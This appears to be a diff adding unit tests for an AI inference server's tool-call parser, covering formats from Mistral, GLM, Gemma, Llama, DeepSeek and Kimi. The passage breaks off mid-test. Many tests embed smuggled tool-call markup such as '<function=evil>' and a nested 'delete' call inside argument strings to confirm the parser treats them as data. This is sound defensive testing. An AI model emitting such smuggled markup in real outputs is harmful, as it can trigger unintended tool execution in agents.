+def test_final_strip_removes_magistral_think_reasoning():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Magistral emits reasoning as ``[THINK]...[/THINK]`` (bracket form, not ``<think>``);
+    # at end-of-turn it must be dropped so it doesn't leak into display / history.
+    text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?"
+    assert strip_tool_markup(text, final = True) == "Hello! How can I help?"
+    # A ``[TOOL_CALLS]`` living inside the reasoning goes with it.
+    with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}'
+    assert strip_tool_markup(with_call, final = True) == ""
+
+
+def test_streaming_strip_keeps_magistral_think_buffered():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Mid-stream (final=False) the reasoning block is left intact; only the
+    # end-of-turn pass removes it.
+    text = "[THINK]still thinking"
+    assert strip_tool_markup(text, final = False) == text
+
+
+def test_final_strip_leaves_non_magistral_bracket_text_untouched():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Only a LEADING ``[THINK]`` block is reasoning; unrelated bracketed prose stays.
+    text = "See [THINK about it] later"
+    assert strip_tool_markup(text, final = True) == "See [THINK about it] later"
+
+
+def test_strip_leading_bare_json_call_ignores_nested_name():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A nested ``"name"`` must NOT gate the strip (only a TOP-LEVEL enabled name is a call); the
+    # ordinary JSON answer is kept verbatim, truncated or complete.
+    nested_trunc = '{"result":{"name":"web_search","age":'
+    nested_full = '{"result":{"name":"web_search","age":1}}'
+    assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc
+    assert strip_leading_bare_json_call(nested_full, {"web_search"}) == nested_full
+    # A real top-level call (even with a top-level array before the name) still strips.
+    assert (
+        strip_leading_bare_json_call(
+            '{"data":[1,2],"name":"web_search","parameters":{}}', {"web_search"}
+        )
+        == ""
+    )
+
+
+def test_mistral_single_object_call_is_stripped_for_display():
+    from core.inference.tool_call_parser import (
+        _strip_mistral_closed_calls,
+        parse_tool_calls_from_text,
+    )
+
+    # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display
+    # strip must remove it too (asymmetry would leak the raw object).
+    text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail'
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"]
+    assert _strip_mistral_closed_calls(text) == " tail"
+    # A literal [TOOL_CALLS] in prose (no following object) is left untouched.
+    assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs"
+
+
+def test_tool_call_parser_declares_future_annotations_for_py39_import():
+    # F1: the parser is imported standalone on python >=3.9, where its PEP 604 ``X | None``
+    # annotations need ``from __future__ import annotations``; guard that the import stays.
+    from pathlib import Path
+    src = (
+        Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py"
+    ).read_text()
+    assert "from __future__ import annotations" in src
+
+
+def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data():
+    # Core strip parity: a literal </tool_call> inside a GLM <arg_value> is argument data, so the whole call is stripped (no leaked tail).
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>see </tool_call> tag</arg_value>\n</tool_call> tail"
+    )
+    assert strip_tool_markup(text, final = True) == "tail"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see </tool_call> tag"}
+
+
+def test_bare_json_function_alias_parses_and_strips_symmetrically():
+    # The bare-JSON parser accepts the "function" alias for the call name;
+    # strip_leading_bare_json_call must recognise it too (parser/strip symmetry).
+    from core.inference.tool_call_parser import (
+        parse_tool_calls_from_text,
+        strip_leading_bare_json_call,
+        _top_level_bare_json_name,
+    )
+
+    enabled = {"web_search"}
+    text = '{"function":"web_search","parameters":{"query":"cats"}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = enabled)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert strip_leading_bare_json_call(text, enabled) == ""
+
+    # "name" still takes precedence when both are present; nested aliases are data.
+    assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None
+    # A non-enabled function-alias object is ordinary content and is preserved.
+    assert (
+        strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled)
+        == '{"function":"not_a_tool","parameters":{}}'
+    )
+
+
+class TestMistralOuterOverXmlLiteral:
+    """Quoted tool XML inside a [TOOL_CALLS] call's arguments is data; the outer call executes. Reverse order keeps the XML."""
+
+    def test_mistral_v11_arg_quoting_function_xml(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"literal '
+            '<function=evil><parameter=x>1</parameter></function>"}'
+        )
+        for strict in (True, False):
+            calls = parse_tool_calls_from_text(text, allow_incomplete = not strict)
+            assert [c["function"]["name"] for c in calls] == ["web_search"]
+            assert "<function=evil>" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_mistral_array_arg_quoting_tool_call_json(self):
+        text = (
+            '[TOOL_CALLS][{"name":"web_search","arguments":{"query":'
+            '"see <tool_call>{\\"name\\":\\"evil\\"}</tool_call>"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_outer_keeps_winning_over_mistral_literal(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"docs say [TOOL_CALLS]evil[ARGS]{}"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestHealerSignalAlignment:
+    """The healer buffers only formats its shared parser can promote. Mistral's
+    ``[TOOL_CALLS]`` is promotable (rescued), so it is a heal signal; the loop-only
+    text-call markers (Llama ``<|python_tag|>``, bare ``[ARGS]``) are not, so they
+    stream through instead of stalling as prose that never yields a call."""
+
+    def test_heal_signals_subset_of_promotable_formats(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {"<tool_call>", "<|tool_call>", "<function=", "[TOOL_CALLS]"}
+
+    def test_stream_healer_does_not_hold_llama_python_tag_text(self):
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        healer = StreamToolCallHealer(
+            {"web_search"},
+            [{"type": "function", "function": {"name": "web_search", "parameters": {}}}],
+        )
+        # Llama <|python_tag|> is not a healer-promotable format, so it streams through as text.
+        events = list(healer.feed('<|python_tag|>web_search.call(query="cats")'))
+        text_out = "".join(v for k, v in events if k == "text")
+        assert "<|python_tag|>" in text_out  # streamed through, not buffered
+        assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
+
+
+class TestGemmaWrapperlessLiteralMarkers:
+    """Wrapper-less Gemma calls whose ARGUMENTS mention Gemma's own markup.
+
+    The tool_healing deferral must key on an actual wrapped opener
+    (``<|tool_call>call:...``), not the wrapper literal anywhere in content:
+    a query about the marker has nothing tool_healing can parse, and deferring
+    it loses the call entirely (not executed AND stripped from display)."""
+
+    def test_marker_literal_in_argument_still_parses(self):
+        text = 'call:web_search{query:"what does <|tool_call> mean"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what does <|tool_call> mean"
+
+    def test_real_wrapped_call_still_deferred_to_tool_healing(self):
+        from core.inference.tool_call_parser import _parse_gemma_tool_calls
+
+        # An actual wrapped opener present: the Gemma fallback must keep
+        # deferring to the shared tool_healing parser that owns that form.
+        text = '<|tool_call>call:web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        assert _parse_gemma_tool_calls(text, id_offset = 0) == []
+
+    def test_single_quoted_brace_does_not_truncate_code(self):
+        text = "call:python{code:print('}')}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "print('}')"
+
+    def test_single_quoted_brace_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:python{code:print('}')} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"python"})
+        assert "call:python" not in stripped
+        assert "')}" not in stripped
+        assert stripped.strip() == "Done."
+
+
+class TestGlmEmbeddedClosePair:
+    """A GLM value whose string literal embeds the full close-tag pair
+    ``</arg_value></tool_call>`` (code documenting the GLM format) must not be
+    truncated at the embedded pair: a structural close sits at balanced quote
+    state, an embedded one is inside an open string literal."""
+
+    def test_embedded_pair_inside_quoted_value_not_structural(self):
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == 'print("</arg_value></tool_call>")\nx = 1'
+
+    def test_strip_covers_the_full_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call> Done."
+        )
+        stripped = strip_tool_markup(text, final = True)
+        assert "arg_value" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_unbalanced_apostrophe_falls_back_to_first_candidate(self):
+        # Prose-like value with an apostrophe: no candidate reaches balanced
+        # quote state, so the first token-valid close wins (prior behavior).
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>it's fine</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "it's fine"
+
+
+class TestPythonTagLiteralInsideMistralArgs:
+    """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes."""
+
+    def test_mistral_arg_quoting_python_tag_call(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "what is <|python_tag|>evil.call(x=1)"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what is <|python_tag|>evil.call(x=1)"
+
+
+class TestPythonTagOuterOverXmlLiteral:
+    """A leading Llama-3 ``<|python_tag|>`` call owns the turn: tool XML/Mistral
+    markup quoted in a ``.call(...)`` string argument (or in trailing prose) is
+    data, so the outer call executes -- parity with the bare-JSON / Mistral /
+    attribute-form leading-ownership rules. XML before the tag keeps normal order."""
+
+    def test_call_arg_quoting_complete_function_xml(self):
+        # A closed <function=...> in a .call() code arg must not beat the leading python_tag call.
+        text = (
+            '<|python_tag|>python.call(code="<function=render_html>'
+            '<parameter=x>1</parameter></function>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=render_html><parameter=x>1</parameter></function>"
+
+    def test_call_arg_quoting_bare_function_tag_in_query(self):
+        # A query mentioning <function=...> must search, not execute a phantom tool.
+        text = '<|python_tag|>web_search.call(query="how do I use <function=foo> in llama")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "how do I use <function=foo> in llama"
+
+    def test_call_arg_quoting_tool_call_json(self):
+        text = (
+            "<|python_tag|>save_file.call(content="
+            '"<tool_call>{\\"name\\": \\"delete\\", \\"arguments\\": {}}</tool_call>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["save_file"]
+
+    def test_json_form_code_arg_quoting_function_xml(self):
+        # JSON emission: a <function=...> in the code arg is data; the outer "python" call runs.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=terminal>ls</function>"
+
+    def test_call_arg_quoting_mistral_trigger(self):
+        text = '<|python_tag|>web_search.call(query="see [TOOL_CALLS]evil[ARGS]{}")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        # A leading python_tag call owns the turn even when a real XML literal follows.
+        text = (
+            '<|python_tag|>web_search.call(query="cats") '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_before_python_tag_keeps_xml_order(self):
+        # A foreign signal BEFORE the tag keeps normal document order (XML wins).
+        text = (
+            "<function=web_search><parameter=q>x</parameter></function> "
+            '<|python_tag|>python.call(code="y")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestBareJsonOuterOverXmlLiteral:
+    """Quoted tool XML inside a leading bare-JSON call is data; XML before the JSON keeps normal order."""
+
+    def test_bare_json_code_arg_quoting_function_xml(self):
+        text = (
+            '{"name": "python", "arguments": '
+            '{"code": "run() # <function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "run() # <function=terminal>ls</function>"
+
+    def test_bare_json_outer_unrestricted_mode(self):
+        text = '{"name": "python", "parameters": {"code": "<function=terminal>ls</function>"}}'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+
+    def test_xml_before_json_keeps_xml_order(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            ' {"name": "python", "arguments": {"code": "x"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMagistralThinkRehearsal:
+    """A call rehearsed inside [THINK]...[/THINK] is reasoning; the real call after wins, and parse agrees with strip."""
+
+    def test_function_xml_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]I could emit <function=web_search>{"query":"x"}</function>'
+            ' here[/THINK][TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_hermes_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]maybe <tool_call>{"name":"web_search","arguments":'
+            '{"query":"x"}}</tool_call>[/THINK]'
+            '[TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_unclosed_think_parses_nothing(self):
+        text = '[THINK]let me try <function=web_search>{"query":"x"}</function>'
+        assert parse_tool_calls_from_text(text) == []
+
+
+class TestGemmaUnquotedApostrophes:
+    """Quotes open strings only at value-start context: an apostrophe inside
+    an unquoted wrapper-less value (contractions, possessives) is prose, and
+    treating it as an opener swallowed the closing brace and lost the call."""
+
+    def test_contraction_in_unquoted_query_parses(self):
+        text = "call:web_search{query:what's the weather}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's the weather"
+
+    def test_contraction_does_not_swallow_next_key(self):
+        text = "call:web_search{query:what's up, n:3}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's up"
+        assert args["n"] == 3
+
+    def test_contraction_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:web_search{query:what's the weather} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"})
+        assert "call:web_search" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_quoted_values_still_hide_delimiters(self):
+        text = 'call:web_search{query:"weather, location: Boston", n:2}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "weather, location: Boston"
+        assert args["n"] == 2
+
+
+class TestGlmKeyWithoutValue:
+    """A GLM <arg_key> with no <arg_value> tag: strict mode rejects the call
+    (same contract as an unclosed value) instead of executing it with the
+    argument silently dropped; Auto-Heal keeps the lenient skip."""
+
+    def test_strict_rejects_key_without_value(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_heal_keeps_the_lenient_skip(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {}
+
+
+class TestDisabledBareJsonLiteralNotPromoted:
+    """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses."""
+
+    def test_literal_inside_disabled_json_stays_data(self):
+        text = (
+            '{"name": "Alice", "note": "try <function=web_search>'
+            '<parameter=query>x</parameter></function>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_python_tag_literal_inside_disabled_json_stays_data(self):
+        text = '{"name": "Alice", "note": "<|python_tag|>web_search.call(query=1)"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_disabled_json_still_parses(self):
+        text = (
+            '{"name": "Alice", "note": "<function=evil>x</function>"} '
+            '<tool_call>{"name": "web_search", "arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestDeepSeekMarkerInsideLeadingEnvelopes:
+    """A DeepSeek/Kimi marker quoted inside a leading bare-JSON or Mistral
+    call's argument strings is data: the pre-pass must not promote the
+    embedded no-arg literal and drop the real outer call."""
+
+    def test_marker_inside_leading_json_call_stays_data(self):
+        text = (
+            '{"name": "web_search", "arguments": '
+            '{"query": "what is <｜tool▁calls▁begin｜>...{}..."}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert "tool▁calls▁begin" in args["query"]
+
+    def test_marker_inside_leading_mistral_call_stays_data(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "docs on <｜tool▁calls▁begin｜> markers"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_deepseek_call_still_parses(self):
+        text = (
+            "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+            '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMistralLiteralInsideLeadingJson:
+    """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it."""
+
+    def test_outer_json_call_wins_over_mistral_literal(self):
+        text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "[TOOL_CALLS]web_search{}"
+
+    def test_disabled_outer_json_keeps_mistral_literal_as_data(self):
+        text = '{"name": "Alice", "note": "[TOOL_CALLS]web_search{}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaWrappedWhitespace:
+    """Whitespace drift around ``call``/``:`` in wrapped Gemma calls must still parse (no fallback exists)."""
+
+    def test_space_after_call_colon_parses(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_space_around_colon_parses(self):
+        text = '<|tool_call>call : web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_strict_mode_still_requires_the_closing_tag(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+
+class TestDisabledJsonBeforeDeepSeekCall:
+    """A disabled leading bare-JSON object whose strings mention a
+    DeepSeek/Kimi marker is dropped and the tail parsed, so a REAL
+    DeepSeek/Kimi call after the object still executes instead of the whole
+    message skipping the pre-pass."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+
+    def test_real_deepseek_call_after_disabled_json_parses(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"} ' + self._DS
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_disabled_json_with_marker_alone_stays_data(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaDottedArgumentKeys:
+    """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost."""
+
+    def test_dotted_key_parses(self):
+        text = '<|tool_call>call:web_search{user.name:<|"|>bob<|"|>, query:<|"|>x<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"user.name": "bob", "query": "x"}
+
+
+class TestLeadingWrapperlessGemmaOverEmbeddedMarkers:
+    """A leading wrapper-less Gemma call to an enabled tool owns the turn: a
+    quoted foreign literal inside its argument (a query citing another tool
+    syntax) is data, and tool_healing must not promote it before the Gemma
+    fallback runs. Foreign markup leading keeps the normal order."""
+
+    def test_leading_gemma_wins_over_quoted_xml_literal(self):
+        text = (
+            'call:web_search{query:"explain <tool_call>'
+            '{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_leading_keeps_normal_order(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"call:evil{x:1} example"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingMistralCallOwnsTheTurn:
+    """A leading Mistral call wins in document order over literal XML in trailing prose."""
+
+    def test_leading_mistral_wins_over_trailing_xml_literal(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"cats"} '
+            "Note: <function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_function_xml_leading_keeps_normal_order(self):
+        text = (
+            "<function=web_search><parameter=query>x</parameter></function> "
+            "[TOOL_CALLS]evil[ARGS]{}"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGemmaDottedKeyAfterBareValue:
+    def test_dotted_key_after_bare_value_is_a_boundary(self):
+        text = "<|tool_call>call:web_search{query:foo,user.name:bob}<tool_call|>"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "foo", "user.name": "bob"}
+
+
+class TestJsonAnswersAreDataForMarkerlessScans:
+    """A whole-content JSON value is a structured answer: a quoted example of
+    an enabled tool's syntax inside it must not execute the tool, and the
+    display strip must not mutilate the answer."""
+
+    def test_gemma_example_inside_json_answer_not_promoted(self):
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_gemma_example_inside_json_answer_not_stripped(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_kimi_marker_inside_json_answer_not_promoted(self):
+        text = (
+            '{"answer":"<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaNestedQuotedLeaves:
+    def test_nested_object_and_array_values_are_unquoted(self):
+        text = 'call:f{loc:{city:"New York"},items:["a","b"],n:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New York"}, "items": ["a", "b"], "n": 3}
+
+
+class TestEarliestEnvelopeWinsAcrossDeepSeekKimi:
+    """The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener: a
+    leading real call wins over a trailing example of the sibling format in
+    either direction (document order, like the other leading guards)."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>evil\n"
+        '```json\n{"x": 1}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    _KIMI = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"query": "cats"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_leading_kimi_wins_over_trailing_deepseek_example(self):
+        text = self._KIMI + " For reference: " + self._DS
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_deepseek_wins_over_trailing_kimi_example(self):
+        text = self._DS + " Kimi format: " + self._KIMI
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestNamelessLeadingJsonAnswerIsData:
+    """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses."""
+
+    def test_xml_literal_inside_json_answer_stays_data(self):
+        text = '{"answer": "use <function=web_search><parameter=query>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_json_answer_still_parses(self):
+        text = (
+            '{"answer": "docs"} <tool_call>{"name": "web_search", '
+            '"arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestClosedCallPrecedesMarkerPrePass:
+    """A closed non-DeepSeek/Kimi call that precedes the first DS/Kimi marker
+    owns the turn: a trailing example (or an example quoted inside a wrapped
+    Gemma argument) must not be promoted by the pre-pass."""
+
+    _KIMI_EVIL = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.evil:0"
+        '<|tool_call_argument_begin|>{"x": 1}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_kimi_example_inside_wrapped_gemma_arg_stays_data(self):
+        text = (
+            '<|tool_call>call:web_search{query:<|"|>explain '
+            + self._KIMI_EVIL
+            + '<|"|>}<tool_call|>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_xml_call_wins_over_trailing_kimi_example(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            " For reference: " + self._KIMI_EVIL
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_kimi_call_still_parses(self):
+        calls = parse_tool_calls_from_text(self._KIMI_EVIL)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestTruncatedWrapperlessGemmaStopsScan:
+    def test_call_quoted_inside_truncated_arg_not_promoted(self):
